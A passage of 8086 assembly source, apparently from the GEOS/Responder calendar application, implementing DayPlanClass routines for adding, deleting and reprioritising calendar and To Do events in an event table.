restore the stack mov bp, bx ; put EventRange back to SS:BP sahf ; restore the carry flag .leave ret DayPlanLoadRepeat endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RepeatExistAlready %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks if a specific RepeatID has already been loaded CALLED BY: DayPlanLoadRepeat PASS: DS:*SI = DayPlan instance dat AX = Repeat ID CX = Month/Day DX = Year RETURN: Carry = Set if found = Clear if not DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/28/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RepeatExistAlready proc near class DayPlanClass uses bx, di .enter ; Access the EventTable, to search for the RepeatID ; mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access instance data mov di, ds:[di].DPI_eventTable ; get table handle mov di, ds:[di] ; dereference the handle mov bx, ds:[di].ETH_last ; last offset position add bx, di ; last true position add di, (size EventTableHeader) - (size EventTableEntry) ; Look for the ID ; searchLoop: add di, size EventTableEntry cmp di, bx je done ; carry flag clear when equal cmp dx, ds:[di].ETE_year jne searchLoop cmp cx, {word} ds:[di].ETE_day jne searchLoop cmp ax, ds:[di].ETE_repeatID jne searchLoop ; jump if not equal stc ; found - set the carry flag done: .leave ret RepeatExistAlready endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DPHandleKeyStroke %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: A key was pressed from month view or week view Bring up details dialog CALLED BY: MSG_DP_HANDLE_KEY_STROKE PASS: *ds:si = DayPlanClass object ds:di = DayPlanClass instance data ds:bx = DayPlanClass object (same as *ds:si) es = segment of DayPlanClass ax = message # cx = character dx = hour bp = DayPlanHandleKeyStrokeFlag RETURN: nothing DESTROYED: ax, cx, dx REVISION HISTORY: Name Date Description ---- ---- ----------- jang 2/10/97 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanNewEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a new event to a day plan at the specified date/time CALLED BY: Many (MSG_DP_NEW_EVENT) PASS: ES = DGroup DS:*SI = DayPlan instance data BP = Year DX = Month/Day CX = Hour/Minute RETURN: BP = Handle of new DayEvent (if on screen, else 0) Carry = Set if load failed DESTROYED: AX, BX, CX, DX, SI, DI, ES PSEUDO CODE/STRATEGY: Create the EventTableEntry Insert it into the EventTable Insert the event visually Attempt to select it Set the undo action KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/29/89 Initial version Don 12/6/89 Major revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanNewEvent method DayPlanClass, MSG_DP_NEW_EVENT .enter ; Some set-up work ; mov di, bp ; Year to DI sub sp, size EventTableEntry ; allocate room on the stack mov bp, sp ; SS:BP points to struct ; Stuff the EventTableEntry ; clr ax mov {word} ss:[bp].ETE_minute, cx mov {word} ss:[bp].ETE_day, dx mov ss:[bp].ETE_year, di mov ss:[bp].ETE_group, ax mov ss:[bp].ETE_item, ax mov ss:[bp].ETE_size, ax mov ss:[bp].ETE_handle, ax mov ss:[bp].ETE_repeatID, ax clr dx ; calculate the insertion point mov ax, MSG_DP_INSERT_ETE call ObjCallInstanceNoLock ; call myself to insert it jc done ; if no space, fail push dx ; save the actual event offset ; Now handle the screen update ; mov ax, MSG_DP_SCREEN_UPDATE mov dl, SUF_STEAL_FROM_BOTTOM ; steal from the bottom, if nec call ObjCallInstanceNoLock ; Now attempt to make it the selected item, and select the time ; pop cx ; event offset => CX sub sp, size ForceSelectArgs mov bp, sp mov ss:[bp].FSA_message, MSG_DE_SELECT_TIME mov ss:[bp].FSA_callBack, 0 ; must zero this out mov ax, MSG_DP_FORCE_SELECT call ObjCallInstanceNoLock add sp, size ForceSelectArgs call UndoNotifyInsertEvent clc ; ensure carry is clear ; We're outta here done: lahf ; flags => AH add sp, size EventTableEntry ; restore the stack sahf ; restore the carry flag .leave ret DayPlanNewEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDeleteEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove the selected event from the dayplan CALLED BY: UI (MSG_DP_DELETE_EVENT) PASS: DS:*SI = DayPlanClass instance data DS:DI = DayPlanClass specific instance data ES = DGroup RETURN: AX = UndoActionValue, if event deleted (-1 otherwise) DESTROYED: CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/7/90 Initial version Don 6/2/90 Incorporated DayPlanDeleteETE Don 7/10/90 Do nothing if event not found sean 1/3/96 Responder re-add template events reza 2/7/97 broke out Responder code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDeleteEvent method dynamic DayPlanClass, MSG_DP_DELETE_EVENT .enter ; Access the current selected event ; mov bp, ds:[di].DPI_selectEvent ; get handle of selected event tst bp ; something selected ?? jz doneShort ; no, so do nothing if HANDLE_MAILBOX_MSG ; Do delete update SMS, if necessary. ; push si mov si, bp ; *ds:si <- DayEvent obj mov ax, MSG_DE_CANCEL_ALL_APPOINTMENT call ObjCallInstanceNoLock ; ax, cx, dx, bp destroyed mov bp, si pop si endif call DayPlanSearchByBuffer ; carry set it found jnc doneShort ; do nothing if not found ; Make certain we're not deleting a Repeating Event ; push di ; save the EventTable handle mov di, ds:[di] ; dereference the handle test ds:[di][bx].ETE_group, REPEAT_MASK mov cx, ds:[di][bx].ETE_repeatID pop di ; restore the EventTable handle jnz doneShort ; if RepeatEvent, do nothing! ; If we are deleting the descendant of a repeating event that still ; exists, we want to re-display the repeating event ; jcxz nukeEvent ; if not descendant, nuke event call RepeatIDStillExist ; RepeatStruct group:item=>CX:DX ; time => AX jnc nukeEvent ; if ID not found, delete event ; Now here is where things get cute. We fool ourselves by saying ; that we are about to perform a state change, from repeat to ; normal, and then immediately perform an undo of that non-existent ; change, which will result in the repeating event appearing. ; call UndoNotifyStateChange ; (registers already set up) mov ax, MSG_GEN_PROCESS_UNDO_PLAYBACK_CHAIN call GeodeGetProcessHandle call ObjMessage_dayplan_call doneShort: mov ax, -1 ; can't UNDO this jmp done ; Clear the selection; set the triggers' status nukeEvent: push bp ; save the DayEvent handle clr bp ; disable the undo trigger mov ax, MSG_DP_SET_SELECT call ObjCallInstanceNoLock pop bp ; restore the DayEvent handle ; Remove the EventTableEntry, the DayEvent from the visual tree, ; and ensure the DayEvent data is updated. Also, disable the ; display errors bit in case of an invalid time. ; and es:[systemStatus], not SF_DISPLAY_ERRORS push bp ; save the DayEvent handle mov ax, bp ; buffer handle => AX mov bp, di ; Event table => DS:*BP call BufferFree ; free the DayEvent call DayPlanDeleteCommon ; do the dirty work! ; For Responder, we want to re-add template events, if we ; happen to be deleting a template event. (sean 1/3/96) ; pop bp ; DayEvent handle => BP push bx ; save the EventTable offset or es:[systemStatus], SF_DISPLAY_ERRORS ; Now delete it from the database (also sets the undo action!) ; call GeodeGetProcessHandle mov ax, MSG_CALENDAR_DELETE_EVENT call ObjMessage_dayplan_call ; UndoActionValue => AX ; Finally, call for the screen to be updated properly ; pop cx ; offset to begin working push ax mov ax, MSG_DP_SCREEN_UPDATE ; update the screen mov dl, SUF_STEAL_FROM_TOP ; steal from the top, if nec call ObjCallInstanceNoLock ; send that method call DayPlanAbortSearch ; abort any search pop ax done: .leave ret DayPlanDeleteEvent endp if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DPChangeToDoEventStatus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Changes DayPlan's selected event priority. This only makes sense for To Do list events. *Note*--An event's priority information is stored in the timeMinute field. Since To Do events don't use this field, and since code already exists to order events on time, we can prioritize To Do list events with use of the timeMinute field. CALLED BY: MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY, MSG_DP_CHANGE_EVENT_TO_HIGH_PRIORITY PASS: *ds:si = DayPlanClass object ds:di = DayPlanClass instance data ds:bx = DayPlanClass object (same as *ds:si) es = segment of DayPlanClass ax = message # RETURN: nothing DESTROYED: ax,bx,cx,dx,si,bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: Get the DayPlan's selected event If already this priority done Else Clear the event's complete field (no longer complete) Set event's time (since the timeMinute field is the event's priority for To do list events) Update this change to the database Change event within the EventTable Redraw Screen REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/15/95 Initial version sean 10/2/95 Force the event to be selected/EC code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DPChangeToDoEventStatus method dynamic DayPlanClass, MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY, MSG_DP_CHANGE_EVENT_TO_HIGH_PRIORITY .enter ; Access the current selected event ; mov dx, ax ; dx = message mov ax, MSG_DP_GET_SELECT call ObjCallInstanceNoLock ; bp = selected event tst bp ; something selected ?? EC < ERROR_Z MEMORY_HANDLE_DOESNT_EXIST > NEC < jz done ; no, so do nothing > call IsSamePriority ; check if same jc done ; priority ; Calculate the event's offset into EventTable ; call DayPlanSearchByBuffer ; bx = event ETE offset EC < ERROR_NC EVENT_TABLE_SEARCH_FAILED > NEC < jnc done > ; Clear the complete field ; mov ax, MSG_DP_CLEAR_COMPLETE ; clear completed field call ObjCallInstanceNoLock ; Since the priority information of a To Do event is ; stored in a DayEvent's time, we set its time ; mov ax, MSG_DE_SET_TIME mov ch, TODO_DUMMY_HOUR mov cl, TODO_NORMAL_PRIORITY ; priority info in event minute cmp dx, MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY je continue mov cl, TODO_HIGH_PRIORITY continue: push si ; save DayPlan handle mov si, bp ; DayEvent handle => si call ObjCallInstanceNoLock pop bp ; restore DayPlan handle ; Update this event ; mov ax, MSG_DE_UPDATE mov cl, DBUF_TIME ; we're updating event time call ObjCallInstanceNoLock ; Place event into correct place in EventTable ; Note--bx = offset of event in event table prior to shuffle ; call ShuffleETE ; cx => offset of new position push cx ; for event in event table ; We use the lower of the two offsets in the EventTable ; between bx and cx. ; mov ax, MSG_DP_SCREEN_UPDATE cmp cx, bx ; which is smaller ? jle highPriority ; cx = offset in EventTable mov cx, bx ; to begin update highPriority: mov si, bp ; dayPlan => si clr dl call ObjCallInstanceNoLock ; Force the changed event to be selected ; call CalendarIgnoreInput mov ax, MSG_DP_FORCE_SELECT pop cx ; restore offset in ETE mov dx, size ForceSelectArgs sub sp, dx mov bp, sp mov ss:[bp].FSA_message, MSG_DE_SELECT_TIME clr ss:[bp].FSA_callBack call ObjCallInstanceNoLock add sp, size ForceSelectArgs done: .leave ret DPChangeToDoEventStatus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% IsSamePriority %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks if a DayEvent is changing status. CALLED BY: DPNormalPriority (MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY) DPHighPriority (MSG_DP_CHANGE_EVENT_TO_HIGH_PRIORITY) PASS: dx = message TODO_NORMAL_PRIORITY TODO_HIGH_PRIORITY bp = DayEvent handle RETURN: carry set if event already has passed priority carry clear if event has different priority DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: If completed or different priority clear the carry flag Else (not completed and same priority) set the carry flag REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/16/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ IsSamePriority proc near uses bx,di,bp .enter EC < Assert objectPtr, dsbp, DayEventClass > mov bl, TODO_NORMAL_PRIORITY cmp dx, MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY je continue mov bl, TODO_HIGH_PRIORITY continue: mov di, ds:[bp] ; dereference dayevent add di, ds:[di].DayEvent_offset cmp ds:[di].DEI_alarmMinute, TODO_COMPLETED clc jz done ; completed--clear carry cmp ds:[di].DEI_timeMinute, bl clc jnz done ; not same priority--clear stc ; same priority & not complete done: .leave ret IsSamePriority endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShuffleETE %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Changes an EventTableEntry's position within the Event Table after its priority has changed. CALLED BY: DPHighPriority (MSG_DP_CHANGE_EVENT_TO_HIGH_PRIORITY) DPNormalPriority (MSG_DP_CHANGE_EVENT_TO_NORMAL_PRIORITY) PASS: ds:*si = DayEvent object ds:*bp = DayPlan object ds:*di = EventTable bx = offset of ETE into EventTable (i.e. ds:[*di][bx] = ETE) RETURN: cx = EventTableEntry offset for shuffled event DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: Copy event's EventTableEntry to stack call InsertETE putting Event into new position (based on new priority) Find old EventTableEntry with old DayEvent handle Delete old EventTableEntry Calculate new EventTableEntry offset REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/16/95 Initial version sean 10/2/95 Fixed bug, EC code sean 12/13/95 Fixed 40716 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ShuffleETE proc near uses ax,bx,dx,si,di,bp,es .enter EC < Assert objectPtr, dssi, DayEventClass > EC < Assert objectPtr, dsbp, DayPlanClass > ; Force DayEvent to update if necessary. Fixes #40716. ; (sean 12/13/95). ; mov ax, MSG_DE_UPDATE mov cl, DBUF_IF_NECESSARY call ObjCallInstanceNoLock ; Copy EventTableEntry onto stack, then insert it ; push si ; save DayEvent handle mov si, ds:[di] ; deref EventTable EC < cmp bx, ds:[si].ETH_last > EC < ERROR_GE DP_SELECT_IF_POSSIBLE_BAD_OFFSET > cmp ds:[si].ETH_last, LARGEST_EVENT_TABLE jge popExit ; event table full add si, bx ; ds:si = EventTableEntry sub sp, size EventTableEntry ; create EventTableEntry segmov es, ss, di ; on stack mov di, sp ; es:di = EventTableEntry mov cx, size EventTableEntry ; # bytes to copy rep movsb ; copy ; Insert EventTableEntry into new position ; mov ax, MSG_DP_INSERT_ETE mov si, bp ; DayPlan handle mov bp, sp ; ss:bp = EventTableEntry clr dx ; calculate insertion call ObjCallInstanceNoLock ; dx => offset of event add sp, size EventTableEntry ; restore stack ; Delete old EventTableEntry ; pop bp ; DayEvent handle => bp call DayPlanSearchByBuffer ; bx = offset into EventTable mov ax, bp ; buffer handle => ax mov bp, di ; Event table => bp call BufferFree ; free the DayEvent call DayPlanDeleteCommon ; cx:dx = Gr:It of event ; Return new offset of event ; call DayPlanSearchByEvent ; bx = event ETE offset EC < ERROR_NC EVENT_TABLE_SEARCH_FAILED > mov cx, bx ; cx = event ETE offset exit: .leave ret ; Trying to shuffle when table is full. So pop, then ; return offset to update & force select first event. ; popExit: pop si mov cx, bx jmp exit ShuffleETE endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DPEventCompleted %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tells the DayPlan object to mark the selected DayEvent as completed. Only To Do list events can be marked completed or not completed. *Note*--An event's completed information is stored in its alarmMinute field. To Do list events do not use this field, so it is reused to store completed information. CALLED BY: MSG_DP_EVENT_COMPLETED PASS: *ds:si = DayPlanClass object ds:di = DayPlanClass instance data ds:bx = DayPlanClass object (same as *ds:si) es = segment of DayPlanClass ax = message # RETURN: nothing DESTROYED: ax,bx,cx,dx,si,bp SIDE EFFECTS: none PSEUDO CODE/STRATEGY: Get the DayPlan's selected event If completed field set done Else Clear the selected event Change the event's alarmMinute (completed) field Update event (store new alarmMinute info to database) Redraw screen REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/17/95 Initial version sean 10/2/95 Cleaned up/EC code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DPEventCompleted method dynamic DayPlanClass, MSG_DP_EVENT_COMPLETED .enter ; Access the current selected event ; mov ax, MSG_DP_GET_SELECT call ObjCallInstanceNoLock ; bp = selected event tst bp ; something selected ?? EC < ERROR_Z MEMORY_HANDLE_DOESNT_EXIST > NEC < jz done ; no, so do nothing > ; If completed field is not set, we set it ; otherwise, nothing. Completed information ; is stored in the To Do event's alarmMinute field ; mov di, ds:[bp] ; dereference dayevent add di, ds:[di].DayEvent_offset cmp ds:[di].DEI_alarmMinute, TODO_COMPLETED je done ; completed info in alarmMinute ; Store this change ; mov ax, MSG_DE_UPDATE ; update DayEvent mov si, bp ; DayEvent => si mov dl, TODO_COMPLETED ; changing completed info mov ds:[di].DEI_alarmMinute, dl ; completed info in alarmMinute mov cl, DBUF_ALARM ; so we up date alarm info call ObjCallInstanceNoLock ; Redisplay event ; mov ax, MSG_VIS_INVALIDATE ; redraw DayEvent object call ObjCallInstanceNoLock done: .leave ret DPEventCompleted endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DPClearComplete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Clear the completed field for the DayPlan's selected To Do list event. This method only makes sense if the DayPlan is in "To Do List" mode. *Note*--An event's completed information is stored in its alarmMinute field. To Do list events do not use this field, so it is reused to store completed information. CALLED BY: MSG_DP_CLEAR_COMPLETE PASS: *ds:si = DayPlanClass object ds:di = DayPlanClass instance data ds:bx = DayPlanClass object (same as *ds:si) es = segment of DayPlanClass ax = message # RETURN: nothing DESTROYED: ax,cx,di,si SIDE EFFECTS: none PSEUDO CODE/STRATEGY: Get the DayPlan's selected event If completed field clear done Else Clear the selected event Change the event's alarmMinute (completed) field Update event (store new alarmMinute info to database) REVISION HISTORY: Name Date Description ---- ---- ----------- sean 3/29/95 Initial version sean 10/2/95 Cleaned up/EC code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DPClearComplete method dynamic DayPlanClass, MSG_DP_CLEAR_COMPLETE uses dx, bp .enter ; Access the current selected event ; mov ax, MSG_DP_GET_SELECT call ObjCallInstanceNoLock ; bp = selected event tst bp ; something selected ?? EC < ERROR_Z MEMORY_HANDLE_DOESNT_EXIST > NEC < jz done ; no, so do nothing > ; If event is already NotCompleted, then done. ; Else change completed field (alarmMinute) to NotCompleted. ; mov di, ds:[bp] ; dereference dayevent mov si, bp ; DayEvent handle => si add di, ds:[di].DayEvent_offset cmp ds:[di].DEI_alarmMinute, TODO_NOT_COMPLETED je done ; completed info in alarmMinute mov dl, TODO_NOT_COMPLETED ; Store this change ; mov ds:[di].DEI_alarmMinute, dl ; completed info in alarmMinute mov ax, MSG_DE_UPDATE ; so we update alarm info mov cl, DBUF_ALARM call ObjCallInstanceNoLock done: .leave ret DPClearComplete endm endif ; if _TODO COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDeleteRepeatEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove all occurrences of the repeating event from the DayPlan CALLED BY: RepeatDelete (MSG_DP_DELETE_REPEAT_EVENT) PASS: ES = DGroup DS:*SI = DayPlan instance data CX = RepeatStruct - Group # DX = RepeatStruct - Item # RETURN: Nothing DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This implementation is very slow, but hopefully easy. It should be OK to be slow becuase multiple occurrences of a single RepeatEvent should be pretty unusual. REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/15/90 Initial version Don 4/20/90 Utilized common search routine sean 1/3/96 Responder re-add template events Also, we update from deletion instead of entire screen. *Note*--Since Responder doesn't have more than occurance of a repeat event in the DayPlan at a time, we don't have to update the entire screen. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDeleteRepeatEvent method DayPlanClass, MSG_DP_DELETE_REPEAT_EVENT uses cx, dx, bp .enter ; A little set-up work ; clr ax ; clear the initial offset or cx, REPEAT_MASK ; set the low bit, thank you ; Loop from the top loopAll: push ax ; save inital delete offset call DayPlanSearchByEvent ; => carry set if found jnc cleanUp ; if no carry, done! mov bp, di ; table handle => BP tst ax ; a valid handle (on screen?) je finishDelete ; no, so jump call BufferFree ; else free the buffer finishDelete: call DayPlanDeleteCommon ; delete the ETE (& header) pop ax ; restore the initial offset tst ax ; have we deleted yet? jnz loopAll ; yes, so loop mov ax, bx ; set first delete offset jmp loopAll ; loop again, dude! ; Finish by re-drawing the screen cleanUp: pop ax ; restore the initial offset tst ax ; did we delete any events? jz done ; no, so exit call DayPlanAbortSearch ; abort any search push ax ; save the first offset mov di, ds:[di] ; dereference the table handle mov ds:[di].ETH_screenFirst, OFF_SCREEN_TOP mov ds:[di].ETH_screenLast, OFF_SCREEN_BOTTOM mov cl, BufferUpdateFlags<1, 1, 1> ; delete, write-back, notify call BufferAllWriteAndFree ; free all buffer usage pop cx ; restore first offset mov ax, MSG_DP_SCREEN_UPDATE ; method to send clr dl ; send no ScreenUpdateFlags call ObjCallInstanceNoLock ; update the screen done: .leave ret DayPlanDeleteRepeatEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanAbortSearch %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Abort the search that is in progress CALLED BY: DayPlan & DayEvent INTERNAL PASS: DS = DPResource segment ES = DGroup RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 11/14/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanAbortSearch proc near .enter ; Indicate that the next search should start from the beginning ; or es:[searchInfo], mask SI_RESET .leave ret DayPlanAbortSearch endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanInsertETE %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Insert the events properly within the EventTable CALLED BY: DayPlanAddEvent, DayPlanNewEvent (MSG_DP_INSERT_ETE) PASS: DS:*SI = DayPlan instance data ES = DGroup DX = 0 to calculate insertion point = anything else to insert at end (blindly) SS:BP = EventTableEntry RETURN: CX = Offset to insertion point (update from here) DX = Offset to the actual event Carry = Set if too many events are now loaded DESTROYED: DI PSEUDO CODE/STRATEGY: Search for correct place to insert (if DX == 0) Do we need to insert a header Yes - insrt the header Increase table size (if necessary) Write the data KNOWN BUGS/SIDE EFFECTS/IDEAS: Note: Notice that the actual event offset may differ from the insertion point, as a header event could have been inserted BEFORE the actual event. REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/26/89 Initial version Don 9/26/89 Major revision Don 12/4/89 Changed to manage myself Don 6/2/90 Return both offsets, not just update offset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LARGEST_EVENT_TABLE = (size EventTableHeader + \ (MAX_NUM_EVENTS * (size EventTableEntry))) DayPlanInsertETE method DayPlanClass, MSG_DP_INSERT_ETE uses ax, bx, si, bp .enter ; Set some update flags, see if we need to delete events ; push si ; save the DayPlan chunk mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access my instance data or ds:[di].DPI_flags, DP_NEEDS_REDRAW test ds:[di].DPI_flags, DP_DEL_ON_LOAD je startInsert ; no need to delete, so jump and ds:[di].DPI_flags, not DP_DEL_ON_LOAD mov cl, BufferUpdateFlags <1, 0, 1> ; write back & visually remove mov ax, MSG_DP_DELETE_RANGE call ObjCallInstanceNoLock ; delete the template... mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access my instance data ; Go to the beginning of the table startInsert: or ds:[di].DPI_flags, DP_DIRTY ; set the dirty bit push ds:[di].DPI_viewWidth ; save width on the stack mov si, ds:[di].DPI_eventTable ; move the chunk handle to DI mov di, ds:[si] ; dereference the pointer mov bx, ds:[di].ETH_last ; go to the last position cmp bx, LARGEST_EVENT_TABLE ; too many events ?? jae tooManyEvents ; yes, so display error cmp dx, 1 ; just insert at the end ?? je insert ; go to insert the entry ; Search for the insertion point ; push bp ; save the EventTableEntry mov ax, ss:[bp].ETE_repeatID mov cx, {word} ss:[bp].ETE_minute mov dx, {word} ss:[bp].ETE_day mov bp, ss:[bp].ETE_year mov bx, (size EventTableHeader) - (size EventTableEntry) ; Loop until we find the insertion point search: add bx, size EventTableEntry ; go to the next structure cmp bx, ds:[di].ETH_last ; at the least entry ?? je doneSearch call EventCompare ; else compare the events jge search ; continue until time is less doneSearch: pop bp ; restore the EventTableEntry ; Perform the insertion insert: mov dx, bx ; original offset => DX call DayPlanInsertHeader ; insert the header here! call InsertETEAndUpdate ; insert an ETE; update header ; Store the EventTable information ; add di, bx ; go the this entry mov ax, ss:[bp].ETE_year mov ds:[di].ETE_year, ax mov ax, {word} ss:[bp].ETE_day mov {word} ds:[di].ETE_day, ax mov ax, {word} ss:[bp].ETE_minute mov {word} ds:[di].ETE_minute, ax mov ax, ss:[bp].ETE_repeatID mov ds:[di].ETE_repeatID, ax mov ax, ss:[bp].ETE_group mov ds:[di].ETE_group, ax ; group # => AX mov cx, ss:[bp].ETE_item mov ds:[di].ETE_item, cx ; item # => CX mov ds:[di].ETE_handle, 0 ; not currently displayed ; Calculate the correct size ; mov di, cx ; item # to DI pop cx ; width of window to CX sub cx, es:[timeOffset] ; take away offset to time sub cx, es:[timeWidth] ; take away the time width push dx ; save the original offset call EventCalcHeight ; calculate the height pop cx ; original insertion to CX mov di, ds:[si] ; dereference the table mov ds:[di][bx].ETE_size, dx ; save the size pop si ; DayPlan chunk => SI mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access my instance data add ds:[di].DPI_docHeight, dx ; update the document size mov dx, bx ; actual event offset => DX clc ; return success done: .leave ret ; Display error for too many events. For Responder, we ; display this error only when in wide mode(i.e event view ; or To-do list). Furthermore, if To-do list turn off "Mark ; as" trigger, since this messes with EventTable(bad). ; tooManyEvents: mov bp, CAL_ERROR_ET_TOO_BIG mov ax, MSG_CALENDAR_DISPLAY_ERROR mov bx, ds:[LMBH_handle] ; resource handle => BX call MemOwner ; my process => BX call ObjMessage_dayplan_call ; display the error pop ax, ax ; clear the stack stc ; carry indicates failure jmp done ; we're outta here DayPlanInsertETE endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EventCompare %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare's two events by their time. If the times are the same, and both are repeating events, then order by Repeat ID (this is to ensure that modified repeating events are 